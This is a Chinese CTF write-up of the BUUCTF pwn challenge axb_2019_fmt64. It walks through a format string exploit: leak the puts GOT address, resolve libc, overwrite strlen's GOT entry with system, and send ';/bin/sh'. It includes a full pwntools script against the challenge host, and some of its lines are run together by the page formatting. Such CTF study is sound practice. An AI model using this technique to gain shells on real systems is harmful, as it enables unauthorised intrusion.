[BUUCTF-pwn]——axb_2019_fmt64
[BUUCTF-pwn]——axb_2019_fmt64
- 题目地址:(https://buuoj.cn/challenges#axb_2019_fmt64)[https://buuoj.cn/challenges#axb_2019_fmt64]
这是一道格式化字符串漏洞利用的题目
checksec 一看,竟然连canary都没开,不过开不开好像都木有什么用。
在IDA中看看,可以看出明显的字符串漏洞
首先当然是计算偏移了,发送aaaa%4$x, 比较习惯发送这个hhhh。发现距离栈顶是3,还有五个寄存器的距离,So, 偏移是8。
思路
- 利用格式化字符串漏洞,利用偏移泄露出一个got表地址
- 找到libc版本,并计算偏移找到我们需要的函数
- 再次利用漏洞,修改我们想要利用的函数的got表,将其修改为我们需要的函数
strlen这个函数是我们经常利用的,一般将其修改为system。 - 最后一次利用时,记得先输入 ’ ; ', 因为linux会按照 ’ ; ’ 挨个执行命令的
exploit
from pwn import *
from LibcSearcher import LibcSearcher#p = process('./axb_2019_fmt64')
p = remote("node3.buuoj.cn",25106)
elf = ELF("./axb_2019_fmt64")
#context.log_level = 'debug'
#gdb.attach(p,'b *0x000400957')
puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]# 1
payload = "%9$s" + "aaaa" + p64(puts_got)
p.sendafter("Please tell me:",payload)
print p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
log.success("puts_addr ---> " + hex(puts_addr))
# 2
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
log.success("system_addr ---> "+hex(sys)) #打印的目的,就是如果出错,查看是否修改成功。
# 3
#一般修改前三个字节就好。后面的都是一样的,在同一个libc中
sys_high = (sys >> 16) & 0xff
sys_low = sys & 0xffff
log.success('sys---->>'+hex(sys))
log.success('low---->>'+hex(sys_low))
log.success('high---->>'+hex(sys_high))
payload2 = "%" + str(sys_high - 9) + "c%12$hhn" + "%" + str(sys_low - sys_high) + "c%13$hn"
payload2 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)p.sendafter("Please tell me:",payload2)
# 4
payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)p.interactive()
[BUUCTF-pwn]——axb_2019_fmt64相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- 检查当前ORACLE连接数
- 自动驾驶发展调查:产业化还需技术“破冰”
- c调python_py_initialize:C调Python出错 是初始化错误?
- exe解包和重新打包_Jira 批量提交问题 + 生成可执行文件exe
- 使用FormData对象
- 网络协议收发数据问题
- 快收下这份照片模糊变清晰方法攻略
- 一、显示VOC2007数据集中的图像及标注信息
- mac 字幕生成工具
- 激光能类毕业论文文献都有哪些?
- 经典圣诞老人题----同步与互斥
- NAS网络存储器(转)
- Arcgis空间分布方向性分析
- win10用不了计算机一级,教你一招解决Win10计算器打不开的问题
- U3D - TowerDefense
- H5-农阳历日期互转并对应
- 怎么将红底照片用PS换成白底
- PROGRESSIVE GROWING OF GANS FOR IMPROVED QUALITY, STABILITY, AND VARIATION
- MIPS、CPI、MFLOPS
- 【绘画练习】使用Ipad+precreate绘制插画
热门文章
- 操作系统实验报告9:进程间通信—管道和 socket 通信
- 使用BurpSuite抓取HTTPS网站
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
- HarmonyOS之AI能力·图像超分辨率
- 0.为什么要学习Vue?
- Python学习笔记(二) 第一个Python程序 、 Python基础
- Linux_09 Linux软件包管理 rpm与yum
- 【Notes9】Linux系统启动过程,数据库,驱动,i2c-tools,shell
- DSP SCI模块实验
- 【机器视觉】 throw算子